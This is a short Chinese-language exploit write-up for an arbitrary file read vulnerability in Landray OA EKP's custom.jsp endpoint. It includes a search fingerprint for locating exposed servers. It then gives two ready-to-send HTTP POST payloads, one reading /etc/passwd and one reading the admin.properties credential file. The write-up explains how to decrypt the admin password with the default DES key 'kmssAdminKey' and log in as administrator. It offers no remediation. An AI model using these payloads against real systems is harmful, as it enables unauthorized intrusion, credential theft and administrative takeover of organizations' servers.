蓝凌OA EKP custom.jsp存在任意文件读取漏洞
一、漏洞简介
深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用该漏洞获取服务器敏感信息。
二、影响版本
- 蓝凌OA EKP
三、资产测绘
- hunter
app.name="Landray 蓝凌OA" - 特征
四、漏洞复现
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: /
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///etc/passwd"}}
读取系统后台密码
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: /
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
由于蓝凌OA默认是DES加密，且 默认密钥为 kmssAdminKey，所以只要拿着响应中的password值进行解密就好（返回的password字符串去掉末尾的/r再进行解密）DES解密
http://tool.chacuo.net/cryptdes/
得到密码之后即可访问后台以管理员身份登入系统
/admin.do
